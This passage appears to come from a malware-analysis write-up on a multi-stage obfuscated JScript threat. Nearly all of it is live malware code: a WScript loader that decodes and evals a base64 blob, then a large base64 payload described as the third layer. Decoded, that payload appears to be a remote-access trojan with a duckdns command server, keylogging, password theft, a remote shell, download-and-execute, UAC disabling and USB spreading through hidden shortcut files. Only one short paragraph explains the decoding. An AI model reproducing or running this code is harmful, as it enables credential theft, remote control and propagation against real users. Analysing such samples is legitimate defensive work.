%wLCB0cnVlKTsKcmVhZGFsbGZyb21hbnkgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzdHJzYXZldG8pLnJlYWRBbGwoKTsKdHJ5ewpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfWNhdGNoKGVlKXt9CnJldHVybiByZWFkYWxsZnJvbWFueTsKfQoKCmZ1bmN0aW9uIGVudW1wcm9jZXNzKCl7Ci>>%gICB2YXIgZX>>%gPS>>%iIjsKdHJ5ewp2YXIgb2Jqd21pc2VydmljZS>>%9IEdldE9iamVjdCgid2lubWdtdHM6XFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBjb2xpdGVtcy>>%9IG9iandtaXNlcnZpY2UuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX3Byb2Nlc3MiLG51bGwsNDgpOwoKZm9yKHZhciBmaS>>%9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC>>%gdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7CgllcC>>%9IGVwICsgb2JqaXRlbS5uYW1lICsgIl4iOwoJZX>>%gPSBlcC>>%rIG9iaml0ZW0ucHJvY2Vzc0lkICsgIl4iOwogIC>>%gZX>>%gPSBlcC>>%rIG9iaml0ZW0uZXhlY3V0YWJsZVBhdGggKyBzcGxpdGVyOwp9Cn1jYXRjaChlcil7fQpyZXR1cm4gZX>>%7Cn0KCmZ1bmN0aW9uIGV4aXRwcm9jZXNzIChwaWQpewp0cnl7CnNoZWxsb2JqLnJ1bigidGFza2tpbGwgL0YgL1QgL1BJRC>>%iICsgcGlkLD>>%sdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gZ2V0UGFyZW50RGlyZWN0b3J5KHBhdGgpewoJdmFyIGZvID0gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpOwoJcmV0dXJuIGZpbGVzeXN0ZW1vYmouZ2V0UGFyZW50Rm9sZGVyTmFtZShmbyk7Cn0KCmZ1bmN0aW9uIGVudW1mYWYgKGVudW1kaXIpewogIC>>%gdmFyIHJlID0gIiI7CnRyeXsKIC>>%gIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldEZvbGRlci>>%oZW51bWRpcikuc3ViZm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKIC>>%gIC>>%gICB2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogIC>>%gIC>>%gIHJlID0gcmUgKyBmb2xkZXIubmFtZS>>%rICJeXmReIi>>%rIGZvbGRlci5hdHRyaWJ1dGVzICsgc3BsaXRlcjsgCi>>%gICB9Ci>>%gICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRGb2xkZXIgKGVudW1kaXIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC>>%gIC>>%gIHZhciBmaWxlID0gZmkuaXRlbSgpOwogIC>>%gIC>>%gIHJlID0gcmUgKyBmaWxlLm5hbWUgKy>>%iXiIgKyBmaWxlLnNpemUgKy>>%iXiIgKyBmaWxlLmF0dHJpYnV0ZXMgKyBzcGxpdGVyOy>>%KIC>>%gIH0KfWNhdGNoKGVycil7fQpyZXR1cm4gcmU7Cn0=", "bin.base64"]; } function bloodO(pstAR){ pstAR.O.dataType = bgftrewas()[1]; pstAR.O.text = bgftrewas()[0].replace(pstAR.I, "A"); return Array(function(){return pstAR.O;}); } var CO = Array(function(txt){ return WScript.CreateObject(txt); }); function weak0o0o(){ try{ return CO[0]("System.Net.OleDb"); }catch(er){ return null; } } function powerQQQ(a1s2eew0, a1s2eew1, a1s2eew2){ //return Array(a1s2eew0[0].getString((a1s2eew0[1])), a1s2eew2); } function hailMYjes(a1s2eew, a1s2eew1, a1s2eew2){ try{ var ntv = bloodO({O: a1s2eew1.createElement("egy"), I: new RegExp(a1s2eew[0], a1s2eew[1])}); if(weak0o0o() == null){ var tutNkaman = CO[0]("Adodb.Stream"); tutNkaman.Type = 1; tutNkaman.Open(); tutNkaman.Write(ntv[0]().nodeTypedValue); tutNkaman.Position = 0; tutNkaman.Type = (3-1); tutNkaman.CharSet = "us-ascii"; a1s2eew = Array(tutNkaman.ReadText(), eval); ntv = null; }else{ ntv = powerQQQ([weak0o0o(), ntv.item().nodeTypedValue], null, eval); } a1s2eew2 = ntv.Read(); }catch(err){ a1s2eew[1]({j:[a1s2eew[0]]}.j[0]); } } hailMYjes(Array(">>%", "g"), CO[0]("Microsoft.XmlDom"));
Looking at this code, we see the same kind of pattern here – the very top is another base64 encoded blob with more clear-text code following it. The thing to pay attention here to is that this is following the same procedure as the first stage of de-obfuscating the code since the var “bgftrewas” is being called again in the function “bloodO(pstAR).” So if you take the base64 blob, remove the ‘>>%’ from it and replace with “A” and decode it, you get the following code.
3rd layer obfuscated --> deobfuscated (">>%" first removed and replaced with 'A') ================================================================================== Ly88WyByZWNvZGVyIDoga29nbml0byAoYykgc2t5cGUgOiBsaXZlOnVua25vd24uc2FsZXM2NCBdPgoKLy89LT0tPS09LT0gY29uZmlnID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09Cgp2YXIgaG9zdCA9ICJwbHVnaW5zcnYuZHVja2Rucy5vcmciOwp2YXIgcG9ydCA9IDc3NTY7CnZhciBpbnN0YWxsZGlyID0gIiVhcHBkYXRhJSI7CnZhciBydW5Bc0FkbWluID0gZmFsc2U7CnZhciBsbmtmaWxlID0gdHJ1ZTsKdmFyIGxua2ZvbGRlciA9IHRydWU7CgppZihydW5Bc0FkbWluID09IHRydWUpewoJc3RhcnR1cEVsZXZhdGUoKTsKfQppZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gdHJ1ZSl7CglkaXNhYmxlU2VjdXJpdHkoKTsKfQovLz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0KCnZhciBzaGVsbG9iaiA9IFdTY3JpcHQuY3JlYXRlT2JqZWN0KCJ3c2NyaXB0LnNoZWxsIik7CnZhciBmaWxlc3lzdGVtb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CnZhciBodHRwb2JqID0gV1NjcmlwdC5jcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgoKLy89LT0tPS09LT0gcHJpdmF0IHZhciA9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKdmFyIGluc3RhbGxuYW1lID0gV1NjcmlwdC5zY3JpcHROYW1lOwp2YXIgc3RhcnR1cCA9IHNoZWxsb2JqLnNwZWNpYWxGb2xkZXJzKCJzdGFydHVwIikgKyAiXFwiOwppbnN0YWxsZGlyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKGluc3RhbGxkaXIpICsgIlxcIjsKaWYoIWZpbGVzeXN0ZW1vYmouZm9sZGVyRXhpc3RzKGluc3RhbGxkaXIpKXsgIGluc3RhbGxkaXIgPSBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV0ZW1wJSIpICsgIlxcIjt9CnZhciBzcGxpdGVyID0gInwiOwp2YXIgc2RrcGF0aCA9IGluc3RhbGxkaXIgKyAid3Noc2RrIjsKdmFyIHNka2ZpbGUgPSBzZGtwYXRoICsgIlxcIiArIGNocigxMTIpICsgY2hyKDEyMSkgKyBjaHIoMTE2KSArIGNocigxMDQpICsgY2hyKDExMSkgKyBjaHIoMTEwKSArIGNocig0NikgKyBjaHIoMTAxKSArIGNocigxMjApICsgY2hyKDEwMSk7CnZhciBzbGVlcCA9IDUwMDA7IAp2YXIgcmVzcG9uc2UsIGNtZCwgcGFyYW0sIG9uZW9uY2U7Cgp2YXIgaW5mID0gIiI7CnZhciB1c2JzcHJlYWRpbmcgPSAiIjsKdmFyIHN0YXJ0ZGF0ZSA9ICIiOwoKLy89LT0tPS09LT0gY29kZSBzdGFydCA9LT0tPS09LT0tPS09LT0tPS09LT0tPQoKaW5zdGFuY2UoKTsKCndoaWxlKHRydWUpewoJdHJ5ewoJCWluc3RhbGwoKTsKCgkJcmVzcG9uc2UgPSAiIjsKICAgICAgICByZXNwb25zZSA9IHBvc3QgKCJpcy1yZWFkeSIsIiIpOwoJCWNtZCA9IHJlc3BvbnNlLnNwbGl0KHNwbGl0ZXIpOwoJCXN3aXRjaChjbWRbMF0pewogICAgICAgICAgICBjYXNlICJkaXNjb25uZWN0IjoKCQkJCSAgV1NjcmlwdC5xdWl0KCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJyZWJvb3QiOgoJCQkJICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBzaHV0ZG93biAvciAvdCAwIC9mIiwgMCwgdHJ1ZSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJzaHV0ZG93biI6CgkJCQkgIHNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHNodXRkb3duIC9zIC90IDAgL2YiLCAwLCB0cnVlKTsKCQkJCSAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImV4Y2VjdXRlIjoKICAgICAgICAgICAgICAgICAgcGFyYW0gPSBjbWRbMV07CgkJCQkgIGV2YWwocGFyYW0pOwoJCQkJICBicmVhazsKCQkJY2FzZSAiaW5zdGFsbC1zZGsiOgoJCQkJICBpbnN0YWxsc2RrKCk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJnZXQtcGFzcyI6CgkJCQkgIHBhc3NncmFiYmVyKGNtZFsxXSwgImNtZGMuZXhlIiwgY21kWzJdKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgImdldC1wYXNzLW9mZmxpbmUiOgoJCQkJICBwYXNzZ3JhYmJlcihjbWRbM10sICJjbWRjLmV4ZSIsICJpZSIpOwoJCQkJICBwYXNzZ3JhYmJlcigibnVsbCIsICJjbWRjLmV4ZSIsICJjaHJvbWUiKTsKCQkJCSAgcGFzc2dyYWJiZXIoIm51bGwiLCAiY21kYy5leGUiLCAibW96aWxsYSIpOwoJCQkJICBwYXNzZ3JhYmJlcjIoY21kWzFdLCAiY21kYy5leGUiLCBjbWRbMl0pOwoJCQkJICBicmVhazsKCQkJY2FzZSAidXBkYXRlIjoKCQkJCSAgcGFyYW0gPSByZXNwb25zZS5zdWJzdHIocmVzcG9uc2UuaW5kZXhPZigifCIpICsgMSk7CgkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCSAgb25lb25jZSA9IGZpbGVzeXN0ZW1vYmoub3BlblRleHRGaWxlKGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZSAsMiwgZmFsc2UpOwoJCQkJICBvbmVvbmNlLndyaXRlKHBhcmFtKTsKCQkJCSAgb25lb25jZS5jbG9zZSgpOwoJCQkJICBzaGVsbG9iai5ydW4oIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKyAiXCIiKTsKCQkJCSAgV1NjcmlwdC5xdWl0KCk7CgkJCWNhc2UgInVuaW5zdGFsbCI6CgkJCQkgIHVuaW5zdGFsbCgpOwoJCQkJICBicmVhazsKCQkJY2FzZSAidXAtbi1leGVjIjoKCQkJCSAgZG93bmxvYWQoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICJicmluZy1sb2ciOgoJCQkJICB1cGxvYWQoaW5zdGFsbGRpciArICJ3c2hsb2dzXFwiICsgY21kWzFdLCAidGFrZS1sb2ciKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgImRvd24tbi1leGVjIjoKCQkJCSAgc2l0ZWRvd25sb2FkZXIoY21kWzFdLGNtZFsyXSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiZmlsZW1hbmFnZXIiOgoJCQkJICBzZXJ2aWNlc3RhcnRlcihjbWRbMV0sICJmbS1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAicmRwIjoKCQkJCSAgc2VydmljZXN0YXJ0ZXIoY21kWzFdLCAicmQtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCkpOwoJCQkJICBicmVhazsKCQkJY2FzZSAgImtleWxvZ2dlciI6CgkJCQkgIGtleWxvZ2dlcnN0YXJ0ZXIoY21kWzFdLCAia2wtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCksIDApOwoJCQkJICBicmVhazsKCQkJY2FzZSAgIm9mZmxpbmUta2V5bG9nZ2VyIjoKCQkJCSAga2V5bG9nZ2Vyc3RhcnRlcihjbWRbMV0sICJrbC1wbHVnaW4uZXhlIiwgaW5mb3JtYXRpb24oKSwgMSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiYnJvd3NlLWxvZ3MiOgoJCQkJICBwb3N0KCJpcy1sb2dzIiwgZW51bWZhZihpbnN0YWxsZGlyICsgIndzaGxvZ3MiKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiY21kLXNoZWxsIjoKCQkJCSAgcGFyYW0gPSBjbWRbMV07CgkJCQkgIHBvc3QoImlzLWNtZC1zaGVsbCIsY21kc2hlbGwocGFyYW0pKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJnZXQtcHJvY2Vzc2VzIjoKCQkJCSAgcG9zdCgiaXMtcHJvY2Vzc2VzIiwgZW51bXByb2Nlc3MoKSk7CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiZGlzYWJsZS11YWMiOgoJCQkJICBkaXNhYmxlU2VjdXJpdHkoKTsKCQkJCSAgdXBkYXRlc3RhdHVzKCJVQUMrRGlzYWJsZWQrKFJlYm9vdCtSZXF1aXJlZCkiKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJjaGVjay1lbGlnaWJsZSI6CgkJCQkgIGlmKGZpbGVzeXN0ZW1vYmouZmlsZUV4aXN0cyhjbWRbMV0pKXsKCQkJCQl1cGRhdGVzdGF0dXMoIklzK0VsaWdpYmxlIik7CgkJCQkgIH1lbHNlewoJCQkJCXVwZGF0ZXN0YXR1cygiTm90K0VsaWdpYmxlIik7CgkJCQkgIH0KCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJmb3JjZS1lbGlnaWJsZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKSA9PSB0cnVlKXsKCQkJCQlpZihmaWxlc3lzdGVtb2JqLmZvbGRlckV4aXN0cyhjbWRbMV0pKXsKCQkJCQkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIiArIGNtZFsyXSwgMCwgdHJ1ZSk7CgkJCQkJCXVwZGF0ZXN0YXR1cygiU1VDQ0VTUyIpOwoJCQkJCX1lbHNlewoJCQkJCQl1cGRhdGVzdGF0dXMoIkNvbXBvbmVudCtNaXNzaW5nIik7CgkJCQkJfQoJCQkJICB9CgkJCQkgIGVsc2V7CgkJCQkJdXBkYXRlc3RhdHVzKCJFbGV2YXRpb24rUmVxdWlyZWQiKTsKCQkJCSAgfQoJCQkJICBicmVhazsKCQkJY2FzZSAgImVsZXZhdGUiOgoJCQkJICBpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCQkJCXRyeXsKCQkJCQkgIG9uZW9uY2UuY2xvc2UoKTsKCQkJCQkgIG9uZW9uY2UgPSBudWxsOwoJCQkJCSAgV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIiArIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKyAiXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCQkJCSAgdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsKCQkJCQl9Y2F0Y2gobm4pewoJCQkJCX0KCQkJCQlXU2NyaXB0LnF1aXQoKTsKCQkJCSAgfQoJCQkJICBlbHNlewoJCQkJICAJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlICAiaWYtZWxldmF0ZSI6CgkJCQkgIGlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKSA9PSBmYWxzZSl7CgkJCQkJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtOb3QrRWxldmF0ZWQiKTsKCQkJCSAgfQoJCQkJICBlbHNlewoJCQkJICAJICB1cGRhdGVzdGF0dXMoIkNsaWVudCtFbGV2YXRlZCIpOwoJCQkJICB9CgkJCQkgIGJyZWFrOwoJCQljYXNlICAia2lsbC1wcm9jZXNzIjoKCQkJCSAgZXhpdHByb2Nlc3MoY21kWzFdKTsKCQkJCSAgYnJlYWs7CgkJCWNhc2UgICJzbGVlcCI6CgkJCQkgIHBhcmFtID0gY21kWzFdOwoJCQkJICBzbGVlcCA9IGV2YWwocGFyYW0pOwogICAgICAgICAgICAgICAgICBicmVhazsKCQl9CgkJCgl9Y2F0Y2goZXIpe30KCVdTY3JpcHQuc2xlZXAoc2xlZXApOwp9CgpmdW5jdGlvbiBpbnN0YWxsc2RrKCl7Cgl0cnl7CgkJdmFyIHNka3VybCA9IHBvc3QoIm1vei1zZGsiLCAiIik7CgkJdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCW9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzZGt1cmwsIGZhbHNlKTsKCQlvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLCAibWF4LWFnZT0wIik7CgkJb2JqaHR0cGRvd25sb2FkLnNlbmQoKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKyAid3Noc2RrLnppcCIpKXsKCQkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyAid3Noc2RrLnppcCIpOwoJCX0KCQkgCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShpbnN0YWxsZGlyICsgIndzaHNkay56aXAiKTsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7CgkJCQoJCSAgfQoJCX0KCQlpZihmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMoaW5zdGFsbGRpciArICJ3c2hzZGsuemlwIikpewoJCQkvL3VuemlwIHRoZSBmaWxlIAoJCQlVblppcChpbnN0YWxsZGlyICsgIndzaHNkay56aXAiLCBzZGtwYXRoKTsKCQkJdXBkYXRlc3RhdHVzKCJTREsrSW5zdGFsbGVkIik7CgkJfQoJfWNhdGNoKGVycil7fQp9CgpmdW5jdGlvbiBpbnN0YWxsKCl7CnZhciBsbmtvYmo7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnZhciBmaWxlaWNvbjsKdmFyIGZvbGRlcmljb247Cgp1cHN0YXJ0KCk7Cgpmb3IodmFyIGRyaSA9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZHJpdmVzKTsgIWRyaS5hdEVuZCgpOyBkcmkubW92ZU5leHQoKSl7CnZhciBkcml2ZSA9IGRyaS5pdGVtKCk7CmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpewppZiAoZHJpdmUuZnJlZXNwYWNlID4gMCApewppZiAoZHJpdmUuZHJpdmV0eXBlID09IDEgKXsKCXRyeXsKCQlmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUgLCBkcml2ZS5wYXRoICsgIlxcIiArIGluc3RhbGxuYW1lLHRydWUpOwoJCWlmIChmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMgKGRyaXZlLnBhdGggKyAiXFwiICsgaW5zdGFsbG5hbWUpKXsKCQkJZmlsZXN5c3RlbW9iai5nZXRGaWxlKGRyaXZlLnBhdGggKyAiXFwiICArIGluc3RhbGxuYW1lKS5hdHRyaWJ1dGVzID0gMis0OwoJCX0KCX1jYXRjaChlaWp1KXt9CiAgICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aCArICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewoJCXRyeXsKCQl2YXIgZmlsZSA9IGZpLml0ZW0oKTsKICAgICAgICBpZiAobG5rZmlsZSA9PSBmYWxzZSl7YnJlYWs7fQogICAgICAgIGlmIChmaWxlLm5hbWUuaW5kZXhPZigiLiIpKXsKICAgICAgICAgICAgaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLSAxXSkudG9Mb3dlckNhc2UoKSAhPSAibG5rIil7CiAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAyKzQ7CiAgICAgICAgICAgICAgICBpZiAoZmlsZS5uYW1lLnRvVXBwZXJDYXNlKCkgIT0gaW5zdGFsbG5hbWUudG9VcHBlckNhc2UoKSl7CiAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKICAgICAgICAgICAgICAgICAgICBsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVTaG9ydGN1dChkcml2ZS5wYXRoICsgIlxcIiAgKyBmaWxlbmFtZVswXSArICIubG5rIik7CiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndpbmRvd1N0eWxlID0gNzsKICAgICAgICAgICAgICAgICAgICBsbmtvYmoudGFyZ2V0UGF0aCA9ICJjbWQuZXhlIjsKICAgICAgICAgICAgICAgICAgICBsbmtvYmoud29ya2luZ0RpcmVjdG9yeSA9ICIiOwogICAgICAgICAgICAgICAgICAgIGxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiArIGluc3RhbGxuYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsgIiZzdGFydCAiICsgZmlsZS5uYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsiJmV4aXQiOwogICAgICAgICAgICAgICAgICAgIHRyeXtmaWxlaWNvbiA9IHNoZWxsb2JqLlJlZ1JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxjbGFzc2VzXFwiICsgc2hlbGxvYmouUmVnUmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXGNsYXNzZXNcXC4iICsgZmlsZS5uYW1lLnNwbGl0KCIuIilbZmlsZS5uYW1lLnNwbGl0KCIuIikubGVuZ3RoIC0gMV0rICJcXCIpICsgIlxcZGVmYXVsdGljb25cXCIpOyB9Y2F0Y2goZWVlZSl7fQogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7IAogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbkxvY2F0aW9uID0gZmlsZS5wYXRoOwogICAgICAgICAgICAgICAgICAgIH1lbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZpbGVpY29uOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBsbmtvYmouc2F2ZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoJCX1jYXRjaChlcnIpe30KICAgIH0KCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl0cnl7CgkJdmFyIGZvbGRlciA9IGZpLml0ZW0oKTsKICAgICAgICBpZiAobG5rZm9sZGVyID09IGZhbHNlKXticmVhazt9CiAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAyKzQ7CiAgICAgICAgZm9sZGVybmFtZSA9IGZvbGRlci5uYW1lOwogICAgICAgIGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZVNob3J0Y3V0KGRyaXZlLnBhdGggKyAiXFwiICArIGZvbGRlcm5hbWUgKyAiLmxuayIpOyAKICAgICAgICBsbmtvYmoud2luZG93U3R5bGUgPSA3OwogICAgICAgIGxua29iai50YXJnZXRQYXRoID0gImNtZC5leGUiOwogICAgICAgIGxua29iai53b3JraW5nRGlyZWN0b3J5ID0gIiI7CiAgICAgICAgbG5rb2JqLmFyZ3VtZW50cyA9ICIvYyBzdGFydCAiICsgaW5zdGFsbG5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyAiJnN0YXJ0IGV4cGxvcmVyICIgKyBmb2xkZXIubmFtZS5yZXBsYWNlKG5ldyBSZWdFeHAoIiAiLCAiZyIpLCAiXCIgXCIiKSArIiZleGl0IjsKICAgICAgICBmb2xkZXJpY29uID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcZm9sZGVyXFxkZWZhdWx0aWNvblxcIik7IAogICAgICAgIGlmIChmb2xkZXJpY29uLmluZGV4T2YoIiwiKSA9PSAwKXsKICAgICAgICAgICAgbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZvbGRlci5wYXRoOwogICAgICAgIH1lbHNlIHsKICAgICAgICAgICAgbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZvbGRlcmljb247CiAgICAgICAgfQogICAgICAgIGxua29iai5zYXZlKCk7CgkJfWNhdGNoKGVycil7fQogICAgfQp9Cn0KfQp9Cn0KCmZ1bmN0aW9uIHN0YXJ0dXBFbGV2YXRlKCl7CglpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCXRyeXsKCQkJV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIiArIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKyAiXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCX1jYXRjaChubil7CgkJfQoJCVdTY3JpcHQucXVpdCgpOwoJfQp9CgpmdW5jdGlvbiBkaXNhYmxlU2VjdXJpdHkoKXsKCWlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKSA9PSB0cnVlKXsKCQl2YXIgb1JlZyA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGRlZmF1bHQ6U3RkUmVnUHJvdiIpOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMDAwMDAyLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkVuYWJsZUxVQSIsIDApOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMDAwMDAyLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkNvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluIiwgMCk7CgkJb1JlZyA9IG51bGw7Cgl9Cn0KCmZ1bmN0aW9uIHVuaW5zdGFsbCgpewp0cnl7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnRyeXsKICAgIHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdKTsKICAg